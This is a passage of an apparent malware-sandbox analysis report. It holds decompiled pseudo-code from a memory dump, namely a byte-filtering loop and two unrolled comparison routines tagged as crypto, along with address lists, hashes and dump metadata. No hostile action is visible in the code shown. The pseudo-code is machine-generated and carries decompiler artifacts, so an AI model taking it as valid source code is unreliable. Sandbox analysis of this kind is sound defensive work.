							 *(_t355 + 0x60) =  *(_t355 + 0x60) & 0;
							 *(_t355 + 0x1c) = 0;
							E013BDE40(_t336, _t355 + 0x40, 0, 0x1c);
							 *(_t355 + 0x34) =  *(_t355 + 0x34) & 0;
							_t355 = _t355 + 0xc;
							 *(_t355 + 0x24) = _t336;
							if(_t336 <  *(_t355 + 0x30)) {
								_t238 =  *(_t355 + 0x60);
								do {
									_t322 =  *(_t355 + 0x1c);
									 *(_t355 + 0x14) = _t322 -  *(_t355 + 0x18);
									_t297 =  *(_t355 + 0x2c);
									 *(_t355 + 0x18) = _t322;
									_t323 =  *_t297 & 0x000000ff;
									 *(_t355 + 0x2c) =  &(_t297[1]);
									_t304 = ( *(_t355 + 0x14) * _t238 + _t345 *  *(_t355 + 0x14) + _t353 *  *(_t355 + 0x1c) +  *(_t355 + 0x20) * 0x00000008 >> 0x00000003 & 0x000000ff) - _t323;
									 *( *(_t355 + 0x24) +  *(_t355 + 0x38)) = _t304;
									_t349 = _t323 << 3;
									 *(_t355 + 0x20) = _t304 -  *(_t355 + 0x20);
									 *(_t355 + 0x24) = _t304;
									 *((intOrPtr*)(_t355 + 0x44)) =  *((intOrPtr*)(_t355 + 0x44)) + E013C363B(_t323, _t323 << 3);
									 *((intOrPtr*)(_t355 + 0x4c)) =  *((intOrPtr*)(_t355 + 0x4c)) + E013C363B(_t323, (_t323 << 3) -  *(_t355 + 0x1c));
									 *((intOrPtr*)(_t355 + 0x54)) =  *((intOrPtr*)(_t355 + 0x54)) + E013C363B(_t323,  *(_t355 + 0x20) + (_t323 << 3));
									 *((intOrPtr*)(_t355 + 0x5c)) =  *((intOrPtr*)(_t355 + 0x5c)) + E013C363B(_t323, (_t323 << 3) -  *(_t355 + 0x20));
									 *((intOrPtr*)(_t355 + 0x64)) =  *((intOrPtr*)(_t355 + 0x64)) + E013C363B(_t323,  *(_t355 + 0x24) + _t349);
									 *((intOrPtr*)(_t355 + 0x6c)) =  *((intOrPtr*)(_t355 + 0x6c)) + E013C363B(_t323, _t349 -  *(_t355 + 0x14));
									 *((intOrPtr*)(_t355 + 0x74)) =  *((intOrPtr*)(_t355 + 0x74)) + E013C363B(_t323, _t349 +  *(_t355 + 0x14));
									_t355 = _t355 + 0x1c;
									if(( *(_t355 + 0x28) & 0x0000001f) != 0) {
										_t345 =  *(_t355 + 0x10);
										_t238 =  *(_t355 + 0x60);
									} else {
										_t324 =  *(_t355 + 0x40);
										_t266 = 0;
										 *(_t355 + 0x40) =  *(_t355 + 0x40) & 0;
										_t308 = 1;
										do {
											if( *(_t355 + 0x40 + _t308 * 4) < _t324) {
												_t324 =  *(_t355 + 0x40 + _t308 * 4);
												_t266 = _t308;
											}
											 *(_t355 + 0x40 + _t308 * 4) =  *(_t355 + 0x40 + _t308 * 4) & 0x00000000;
											_t308 = _t308 + 1;
										} while (_t308 < 7);
										_t345 =  *(_t355 + 0x10);
										_t267 = _t266 - 1;
										if(_t267 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t353 >= 0xfffffff0) {
												_t353 = _t353 - 1;
											}
											goto L49;
										}
										_t268 = _t267 - 1;
										if(_t268 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t353 < 0x10) {
												_t353 = _t353 + 1;
											}
											goto L49;
										}
										_t269 = _t268 - 1;
										if(_t269 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t345 < 0xfffffff0) {
												goto L49;
											}
											_t345 = _t345 - 1;
											L43:
											 *(_t355 + 0x10) = _t345;
											goto L49;
										}
										_t270 = _t269 - 1;
										if(_t270 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t345 >= 0x10) {
												goto L49;
											}
											_t345 = _t345 + 1;
											goto L43;
										}
										_t271 = _t270 - 1;
										if(_t271 == 0) {
											_t238 =  *(_t355 + 0x60);
											if(_t238 < 0xfffffff0) {
												goto L49;
											}
											_t238 = _t238 - 1;
											L36:
											 *(_t355 + 0x60) = _t238;
											goto L49;
										}
										_t238 =  *(_t355 + 0x60);
										if(_t271 != 1 || _t238 >= 0x10) {
											goto L49;
										} else {
											_t238 = _t238 + 1;
											goto L36;
										}
									}
									L49:
									_t306 =  *(_t355 + 0x24) + _t281;
									 *(_t355 + 0x28) =  *(_t355 + 0x28) + 1;
									 *(_t355 + 0x24) = _t306;
								} while (_t306 <  *(_t355 + 0x30));
								_t336 =  *(_t355 + 0x34);
							}
							_t336 = _t336 + 1;
							 *(_t355 + 0x34) = _t336;
						} while (_t336 < _t281);
						goto L15;
					}
				}
				if(_t311 != 6) {
					goto L15;
				}
				_t309 = __ecx[5];
				_t354 = 0;
				_t325 = __ecx[1];
				 *(_t355 + 0x28) = _t309;
				 *(_t355 + 0x60) = _t309 + _t309;
				if(_t309 > 0x20000 || _t325 > 0x400 || _t325 == 0) {
					goto L98;
				} else {
					_t274 = _t325;
					 *(_t355 + 0x24) = _t325;
					do {
						_t282 = 0;
						_t338 = _t309;
						if(_t309 <  *(_t355 + 0x60)) {
							_t310 =  *(_t355 + 0x60);
							goto L12;
							L12:
							_t275 =  *_t339;
							_t282 = _t282 -  *((intOrPtr*)(_t275 + _t354));
							_t354 = _t354 + 1;
							 *((char*)(_t275 + _t338)) = _t282;
							_t338 = _t338 + _t325;
							if(_t338 < _t310) {
								goto L12;
							} else {
								_t309 =  *(_t355 + 0x28);
								_t274 =  *(_t355 + 0x24);
								goto L14;
							}
						}
						L14:
						_t309 = _t309 + 1;
						_t274 = _t274 - 1;
						 *(_t355 + 0x28) = _t309;
						 *(_t355 + 0x24) = _t274;
					} while (_t274 != 0);
					goto L15;
				}
			}

0x013aba6a
0x013aba74
0x013aba79
0x013abb10
0x00000000
0x013abb10
0x013aba82
0x013abf5a
0x013abf5d
0x013abf5f
0x013abf62
0x013abf6b
0x013abfcc
0x00000000
0x013abfcc
0x013abf73
0x013abf75
0x013abf77
0x013abf7d
0x00000000
0x00000000
0x00000000
0x00000000
0x013abf83
0x013abf83
0x013abf83
0x013abf85
0x013abf86
0x013abf87
0x013abf8b
0x013abf91
0x013abf95
0x013abfa8
0x013abfb0
0x013abfb4
0x013abfb4
0x013abf97
0x013abf9c
0x013abf9e
0x013abfa4
0x013abfa4
0x013abf9c
0x013abfb6
0x013abfba
0x013abfbd
0x013abfc0
0x013abfc0
0x013abfc3
0x00000000
0x013abfc7
0x013aba8b
0x013abe94
0x013abe96
0x013abe9f
0x00000000
0x00000000
0x013abea8
0x013abeab
0x013abeb1
0x00000000
0x00000000
0x013abebb
0x013abebc
0x013abec0
0x013abec6
0x013abec9
0x00000000
0x00000000
0x013abecb
0x013abed3
0x00000000
0x00000000
0x013abed5
0x013abed9
0x013abedb
0x013abee0
0x013abee4
0x013abee8
0x013abee9
0x013abef0
0x013abef4
0x013abf03
0x013abf1e
0x013abf1e
0x013abf23
0x013abf27
0x013abf27
0x013abf2b
0x013abf2c
0x013abf2f
0x013abf33
0x013abf38
0x013abf3c
0x013abf40
0x013abf40
0x013abf43
0x013abf44
0x013abf47
0x013abf4b
0x013abf4b
0x00000000
0x013abf55
0x013aba94
0x013abd48
0x013abd4b
0x013abd4e
0x013abd51
0x013abd55
0x013abd58
0x013abd5f
0x013abd63
0x013abd6c
0x00000000
0x013abd83
0x013abd83
0x013abd85
0x013abd89
0x013abd8c
0x013abd90
0x013abd94
0x013abd96
0x013abd9a
0x013abd9e
0x013abd9e
0x013abda2
0x00000000
0x00000000
0x013abda8
0x013abdaf
0x013abdb3
0x013abdb5
0x013abdb9
0x013abdbd
0x013abdc1
0x013abdc3
0x013abdc6
0x013abdce
0x013abdd4
0x013abde2
0x013abdf7
0x013abdfb
0x013abe00
0x013abe04
0x013abe07
0x013abe0d
0x013abe1d
0x013abe23
0x013abe27
0x013abe2b
0x013abe2d
0x013abe2d
0x013abe13
0x013abe13
0x013abe17
0x013abe17
0x013abe0d
0x013abe31
0x013abe38
0x013abe3b
0x013abe43
0x013abe46
0x013abe4d
0x013abe4d
0x013abe57
0x013abe5b
0x013abe5f
0x013abe63
0x013abe63
0x013abe64
0x013abe68
0x013abe71
0x013abe75
0x013abe88
0x013abe7a
0x013abe7e
0x013abe81
0x013abe85
0x013abe85
0x00000000
0x013abe8c
0x013abd6c
0x013aba9d
0x013abb1c
0x013abb1f
0x013abb21
0x013abb24
0x013abb2a
0x013abb2e
0x013abb37
0x00000000
0x013abb51
0x013abb51
0x013abb53
0x013abb59
0x00000000
0x00000000
0x00000000
0x00000000
0x013abb5b
0x013abb5b
0x013abb5b
0x013abb64
0x013abb69
0x013abb6b
0x013abb70
0x013abb72
0x013abb77
0x013abb7f
0x013abb83
0x013abb88
0x013abb8c
0x013abb8f
0x013abb97
0x013abb9d
0x013abba1
0x013abba1
0x013abbaf
0x013abbb3
0x013abbbc
0x013abbc0
0x013abbc4
0x013abbed
0x013abbef
0x013abbfe
0x013abc02
0x013abc06
0x013abc0f
0x013abc1f
0x013abc2f
0x013abc3f
0x013abc4f
0x013abc5d
0x013abc6a
0x013abc6e
0x013abc76
0x013abd12
0x013abd16
0x013abc7c
0x013abc7c
0x013abc80
0x013abc82
0x013abc88
0x013abc89
0x013abc8d
0x013abc8f
0x013abc93
0x013abc93
0x013abc95
0x013abc9a
0x013abc9b
0x013abca0
0x013abca4
0x013abca7
0x013abd06
0x013abd0d
0x013abd0f
0x013abd0f
0x00000000
0x013abd0d
0x013abca9
0x013abcac
0x013abcfa
0x013abd01
0x013abd03
0x013abd03
0x00000000
0x013abd01
0x013abcae
0x013abcb1
0x013abcea
0x013abcf1
0x00000000
0x00000000
0x013abcf3
0x013abcf4
0x013abcf4
0x00000000
0x013abcf4
0x013abcb3
0x013abcb6
0x013abcde
0x013abce5
0x00000000
0x00000000
0x013abce7
0x00000000
0x013abce7
0x013abcb8
0x013abcbb
0x013abcd2
0x013abcd9
0x00000000
0x00000000
0x013abcdb
0x013abccc
0x013abccc
0x00000000
0x013abccc
0x013abcc0
0x013abcc4
0x00000000
0x013abccb
0x013abccb
0x00000000
0x013abccb
0x013abcc4
0x013abd1a
0x013abd1e
0x013abd20
0x013abd24
0x013abd28
0x013abd32
0x013abd32
0x013abd36
0x013abd37
0x013abd3b
0x00000000
0x013abd43
0x013abb37
0x013abaa2
0x00000000
0x00000000
0x013abaa4
0x013abaa7
0x013abaa9
0x013abaac
0x013abab3
0x013ababd
0x00000000
0x013abad7
0x013abad7
0x013abad9
0x013abadd
0x013abadd
0x013abadf
0x013abae5
0x013abae7
0x013abae7
0x013abaeb
0x013abaeb
0x013abaed
0x013abaf0
0x013abaf1
0x013abaf4
0x013abaf8
0x00000000
0x013abafa
0x013abafa
0x013abafe
0x00000000
0x013abafe
0x013abaf8
0x013abb02
0x013abb02
0x013abb03
0x013abb06
0x013abb0a
0x013abb0a
0x00000000
0x013abadd

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b2b9250811d9f61b26616ecae9edf9abb7e82f8df7d7ed71bc249f887190c2
Instruction ID: 6e92281cf110f0bdd07bb92a68b3358cb3d172024489f4299e067dd87a2f6b66
Opcode Fuzzy Hash: 42b2b9250811d9f61b26616ecae9edf9abb7e82f8df7d7ed71bc249f887190c2
Instruction Fuzzy Hash: 2DF189716083468FC714CF29C584A2AFBE6FFC9718F984A2EF58587349D731E9058B92

Uniqueness

Uniqueness Score: -1.00%

Function 013BF635 Relevance: .3, Instructions: 345
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013BF635(void* __edx, void* __esi) {
				signed int _t192;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t241;
				void* _t287;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t327;

				_t327 = __esi;
				_t287 = __edx;
				if( *((intOrPtr*)(__esi - 0x1e)) ==  *((intOrPtr*)(__edx - 0x1e))) {
					_t241 = 0;
					L15:
					if(_t241 != 0) {
						goto L2;
					}
					_t193 =  *(_t327 - 0x1a);
					if(_t193 ==  *(_t287 - 0x1a)) {
						_t241 = 0;
						L26:
						if(_t241 != 0) {
							goto L2;
						}
						_t194 =  *(_t327 - 0x16);
						if(_t194 ==  *(_t287 - 0x16)) {
							_t241 = 0;
							L37:
							if(_t241 != 0) {
								goto L2;
							}
							_t195 =  *(_t327 - 0x12);
							if(_t195 ==  *(_t287 - 0x12)) {
								_t241 = 0;
								L48:
								if(_t241 != 0) {
									goto L2;
								}
								_t196 =  *(_t327 - 0xe);
								if(_t196 ==  *(_t287 - 0xe)) {
									_t241 = 0;
									L59:
									if(_t241 != 0) {
										goto L2;
									}
									if( *(_t327 - 0xa) ==  *(_t287 - 0xa)) {
										_t241 = 0;
										L70:
										if(_t241 != 0) {
											goto L2;
										}
										_t198 =  *(_t327 - 6);
										if(_t198 ==  *(_t287 - 6)) {
											_t241 = 0;
											L81:
											if(_t241 == 0 &&  *((intOrPtr*)(_t327 - 2)) ==  *((intOrPtr*)(_t287 - 2))) {
											}
											goto L2;
										}
										_t292 = (_t198 & 0x000000ff) - ( *(_t287 - 6) & 0x000000ff);
										if(_t292 == 0) {
											L74:
											_t294 = ( *(_t327 - 5) & 0x000000ff) - ( *(_t287 - 5) & 0x000000ff);
											if(_t294 == 0) {
												L76:
												_t296 = ( *(_t327 - 4) & 0x000000ff) - ( *(_t287 - 4) & 0x000000ff);
												if(_t296 == 0) {
													L78:
													_t241 = ( *(_t327 - 3) & 0x000000ff) - ( *(_t287 - 3) & 0x000000ff);
													if(_t241 != 0) {
														_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
													}
													goto L81;
												}
												_t241 = (0 | _t296 > 0x00000000) * 2 - 1;
												if(_t241 != 0) {
													goto L2;
												}
												goto L78;
											}
											_t241 = (0 | _t294 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L76;
										}
										_t241 = (0 | _t292 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L74;
									}
									_t298 = ( *(_t327 - 0xa) & 0x000000ff) - ( *(_t287 - 0xa) & 0x000000ff);
									if(_t298 == 0) {
										L63:
										_t300 = ( *(_t327 - 9) & 0x000000ff) - ( *(_t287 - 9) & 0x000000ff);
										if(_t300 == 0) {
											L65:
											_t302 = ( *(_t327 - 8) & 0x000000ff) - ( *(_t287 - 8) & 0x000000ff);
											if(_t302 == 0) {
												L67:
												_t241 = ( *(_t327 - 7) & 0x000000ff) - ( *(_t287 - 7) & 0x000000ff);
												if(_t241 != 0) {
													_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
												}
												goto L70;
											}
											_t241 = (0 | _t302 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L67;
										}
										_t241 = (0 | _t300 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L65;
									}
									_t241 = (0 | _t298 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L63;
								}
								_t304 = (_t196 & 0x000000ff) - ( *(_t287 - 0xe) & 0x000000ff);
								if(_t304 == 0) {
									L52:
									_t306 = ( *(_t327 - 0xd) & 0x000000ff) - ( *(_t287 - 0xd) & 0x000000ff);
									if(_t306 == 0) {
										L54:
										_t308 = ( *(_t327 - 0xc) & 0x000000ff) - ( *(_t287 - 0xc) & 0x000000ff);
										if(_t308 == 0) {
											L56:
											_t241 = ( *(_t327 - 0xb) & 0x000000ff) - ( *(_t287 - 0xb) & 0x000000ff);
											if(_t241 != 0) {
												_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
											}
											goto L59;
										}
										_t241 = (0 | _t308 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L56;
									}
									_t241 = (0 | _t306 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L54;
								}
								_t241 = (0 | _t304 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L52;
							}
							_t310 = (_t195 & 0x000000ff) - ( *(_t287 - 0x12) & 0x000000ff);
							if(_t310 == 0) {
								L41:
								_t312 = ( *(_t327 - 0x11) & 0x000000ff) - ( *(_t287 - 0x11) & 0x000000ff);
								if(_t312 == 0) {
									L43:
									_t314 = ( *(_t327 - 0x10) & 0x000000ff) - ( *(_t287 - 0x10) & 0x000000ff);
									if(_t314 == 0) {
										L45:
										_t241 = ( *(_t327 - 0xf) & 0x000000ff) - ( *(_t287 - 0xf) & 0x000000ff);
										if(_t241 != 0) {
											_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
										}
										goto L48;
									}
									_t241 = (0 | _t314 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L45;
								}
								_t241 = (0 | _t312 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L43;
							}
							_t241 = (0 | _t310 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L41;
						}
						_t316 = (_t194 & 0x000000ff) - ( *(_t287 - 0x16) & 0x000000ff);
						if(_t316 == 0) {
							L30:
							_t318 = ( *(_t327 - 0x15) & 0x000000ff) - ( *(_t287 - 0x15) & 0x000000ff);
							if(_t318 == 0) {
								L32:
								_t320 = ( *(_t327 - 0x14) & 0x000000ff) - ( *(_t287 - 0x14) & 0x000000ff);
								if(_t320 == 0) {
									L34:
									_t241 = ( *(_t327 - 0x13) & 0x000000ff) - ( *(_t287 - 0x13) & 0x000000ff);
									if(_t241 != 0) {
										_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
									}
									goto L37;
								}
								_t241 = (0 | _t320 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L34;
							}
							_t241 = (0 | _t318 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L32;
						}
						_t241 = (0 | _t316 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L30;
					}
					_t322 = (_t193 & 0x000000ff) - ( *(_t287 - 0x1a) & 0x000000ff);
					if(_t322 == 0) {
						L19:
						_t324 = ( *(_t327 - 0x19) & 0x000000ff) - ( *(_t287 - 0x19) & 0x000000ff);
						if(_t324 == 0) {
							L21:
							_t326 = ( *(_t327 - 0x18) & 0x000000ff) - ( *(_t287 - 0x18) & 0x000000ff);
							if(_t326 == 0) {
								L23:
								_t241 = ( *(_t327 - 0x17) & 0x000000ff) - ( *(_t287 - 0x17) & 0x000000ff);
								if(_t241 != 0) {
									_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
								}
								goto L26;
							}
							_t241 = (0 | _t326 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L23;
						}
						_t241 = (0 | _t324 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L21;
					}
					_t241 = (0 | _t322 > 0x00000000) * 2 - 1;
					if(_t241 != 0) {
						goto L2;
					}
					goto L19;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
					if(__edi == 0) {
						L8:
						__edi =  *(__esi - 0x1d) & 0x000000ff;
						__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
						if(__edi == 0) {
							L10:
							__edi =  *(__esi - 0x1c) & 0x000000ff;
							__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
							if(__edi == 0) {
								L12:
								__ecx =  *(__esi - 0x1b) & 0x000000ff;
								__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L15;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								L2:
								_t192 = _t241;
								return _t192;
							}
							goto L12;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L2;
						}
						goto L10;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L2;
					}
					goto L8;
				}
			}

0x013bf635
0x013bf635
0x013bf63b
0x013bf6c2
0x013bf6c4
0x013bf6c6
0x00000000
0x00000000
0x013bf6cc
0x013bf6d2
0x013bf759
0x013bf75b
0x013bf75d
0x00000000
0x00000000
0x013bf763
0x013bf769
0x013bf7f0
0x013bf7f2
0x013bf7f4
0x00000000
0x00000000
0x013bf7fa
0x013bf800
0x013bf887
0x013bf889
0x013bf88b
0x00000000
0x00000000
0x013bf891
0x013bf897
0x013bf91e
0x013bf920
0x013bf922
0x00000000
0x00000000
0x013bf92e
0x013bf9b6
0x013bf9b8
0x013bf9ba
0x00000000
0x00000000
0x013bf9c0
0x013bf9c6
0x013bfa4d
0x013bfa4f
0x013bfa51
0x013bfa51
0x00000000
0x013bfa51
0x013bf9d3
0x013bf9d5
0x013bf9ed
0x013bf9f5
0x013bf9f7
0x013bfa0f
0x013bfa17
0x013bfa19
0x013bfa31
0x013bfa39
0x013bfa3b
0x013bfa44
0x013bfa44
0x00000000
0x013bfa3b
0x013bfa22
0x013bfa2b
0x00000000
0x00000000
0x00000000
0x013bfa2b
0x013bfa00
0x013bfa09
0x00000000
0x00000000
0x00000000
0x013bfa09
0x013bf9de
0x013bf9e7
0x00000000
0x00000000
0x00000000
0x013bf9e7
0x013bf93c
0x013bf93e
0x013bf956
0x013bf95e
0x013bf960
0x013bf978
0x013bf980
0x013bf982
0x013bf99a
0x013bf9a2
0x013bf9a4
0x013bf9ad
0x013bf9ad
0x00000000
0x013bf9a4
0x013bf98b
0x013bf994
0x00000000
0x00000000
0x00000000
0x013bf994
0x013bf969
0x013bf972
0x00000000
0x00000000
0x00000000
0x013bf972
0x013bf947
0x013bf950
0x00000000
0x00000000
0x00000000
0x013bf950
0x013bf8a4
0x013bf8a6
0x013bf8be
0x013bf8c6
0x013bf8c8
0x013bf8e0
0x013bf8e8
0x013bf8ea
0x013bf902
0x013bf90a
0x013bf90c
0x013bf915
0x013bf915
0x00000000
0x013bf90c
0x013bf8f3
0x013bf8fc
0x00000000
0x00000000
0x00000000
0x013bf8fc
0x013bf8d1
0x013bf8da
0x00000000
0x00000000
0x00000000
0x013bf8da
0x013bf8af
0x013bf8b8
0x00000000
0x00000000
0x00000000
0x013bf8b8
0x013bf80d
0x013bf80f
0x013bf827
0x013bf82f
0x013bf831
0x013bf849
0x013bf851
0x013bf853
0x013bf86b
0x013bf873
0x013bf875
0x013bf87e
0x013bf87e
0x00000000
0x013bf875
0x013bf85c
0x013bf865
0x00000000
0x00000000
0x00000000
0x013bf865
0x013bf83a
0x013bf843
0x00000000
0x00000000
0x00000000
0x013bf843
0x013bf818
0x013bf821
0x00000000
0x00000000
0x00000000
0x013bf821
0x013bf776
0x013bf778
0x013bf790
0x013bf798
0x013bf79a
0x013bf7b2
0x013bf7ba
0x013bf7bc
0x013bf7d4
0x013bf7dc
0x013bf7de
0x013bf7e7
0x013bf7e7
0x00000000
0x013bf7de
0x013bf7c5
0x013bf7ce
0x00000000
0x00000000
0x00000000
0x013bf7ce
0x013bf7a3
0x013bf7ac
0x00000000
0x00000000
0x00000000
0x013bf7ac
0x013bf781
0x013bf78a
0x00000000
0x00000000
0x00000000
0x013bf78a
0x013bf6df
0x013bf6e1
0x013bf6f9
0x013bf701
0x013bf703
0x013bf71b
0x013bf723
0x013bf725
0x013bf73d
0x013bf745
0x013bf747
0x013bf750
0x013bf750
0x00000000
0x013bf747
0x013bf72e
0x013bf737
0x00000000
0x00000000
0x00000000
0x013bf737
0x013bf70c
0x013bf715
0x00000000
0x00000000
0x00000000
0x013bf715
0x013bf6ea
0x013bf6f3
0x00000000
0x00000000
0x00000000
0x013bf641
0x013bf641
0x013bf648
0x013bf64a
0x013bf662
0x013bf662
0x013bf66a
0x013bf66c
0x013bf684
0x013bf684
0x013bf68c
0x013bf68e
0x013bf6a6
0x013bf6a6
0x013bf6ae
0x013bf6b0
0x013bf6b9
0x013bf6b9
0x00000000
0x013bf6b0
0x013bf694
0x013bf697
0x013bf6a0
0x013bf1f8
0x013bf1f8
0x013bffe9
0x013bffe9
0x00000000
0x013bf6a0
0x013bf672
0x013bf675
0x013bf67e
0x00000000
0x00000000
0x00000000
0x013bf67e
0x013bf650
0x013bf653
0x013bf65c
0x00000000
0x00000000
0x00000000
0x013bf65c

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: f5120f7959d96ba26488a9a13a2991d40c344b3b7b99c4217df4cb6616549b17
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 66C1773220519309EB1E463DCCB45BEBEA95E936F531A276DD6B2CB9D6FE20C124C610

Uniqueness

Uniqueness Score: -1.00%

Function 013BFA6A Relevance: .3, Instructions: 341
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013BFA6A(void* __edx, void* __esi) {
				signed int _t197;
				signed char _t198;
				signed char _t199;
				signed char _t200;
				signed char _t202;
				signed char _t203;
				signed int _t246;
				void* _t294;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t333;
				void* _t335;
				void* _t336;

				_t336 = __esi;
				_t294 = __edx;
				if( *((intOrPtr*)(__esi - 0x1f)) ==  *((intOrPtr*)(__edx - 0x1f))) {
					_t246 = 0;
					L14:
					if(_t246 != 0) {
						goto L1;
					}
					_t198 =  *(_t336 - 0x1b);
					if(_t198 ==  *(_t294 - 0x1b)) {
						_t246 = 0;
						L25:
						if(_t246 != 0) {
							goto L1;
						}
						_t199 =  *(_t336 - 0x17);
						if(_t199 ==  *(_t294 - 0x17)) {
							_t246 = 0;
							L36:
							if(_t246 != 0) {
								goto L1;
							}
							_t200 =  *(_t336 - 0x13);
							if(_t200 ==  *(_t294 - 0x13)) {
								_t246 = 0;
								L47:
								if(_t246 != 0) {
									goto L1;
								}
								if( *(_t336 - 0xf) ==  *(_t294 - 0xf)) {
									_t246 = 0;
									L58:
									if(_t246 != 0) {
										goto L1;
									}
									_t202 =  *(_t336 - 0xb);
									if(_t202 ==  *(_t294 - 0xb)) {
										_t246 = 0;
										L69:
										if(_t246 != 0) {
											goto L1;
										}
										_t203 =  *(_t336 - 7);
										if(_t203 ==  *(_t294 - 7)) {
											_t246 = 0;
											L80:
											if(_t246 != 0) {
												goto L1;
											}
											_t297 = ( *(_t336 - 3) & 0x000000ff) - ( *(_t294 - 3) & 0x000000ff);
											if(_t297 == 0) {
												L83:
												_t299 = ( *(_t336 - 2) & 0x000000ff) - ( *(_t294 - 2) & 0x000000ff);
												if(_t299 == 0) {
													L3:
													_t246 = ( *(_t336 - 1) & 0x000000ff) - ( *(_t294 - 1) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L1;
												}
												_t246 = (0 | _t299 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												} else {
													goto L3;
												}
											}
											_t246 = (0 | _t297 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L83;
										}
										_t301 = (_t203 & 0x000000ff) - ( *(_t294 - 7) & 0x000000ff);
										if(_t301 == 0) {
											L73:
											_t303 = ( *(_t336 - 6) & 0x000000ff) - ( *(_t294 - 6) & 0x000000ff);
											if(_t303 == 0) {
												L75:
												_t305 = ( *(_t336 - 5) & 0x000000ff) - ( *(_t294 - 5) & 0x000000ff);
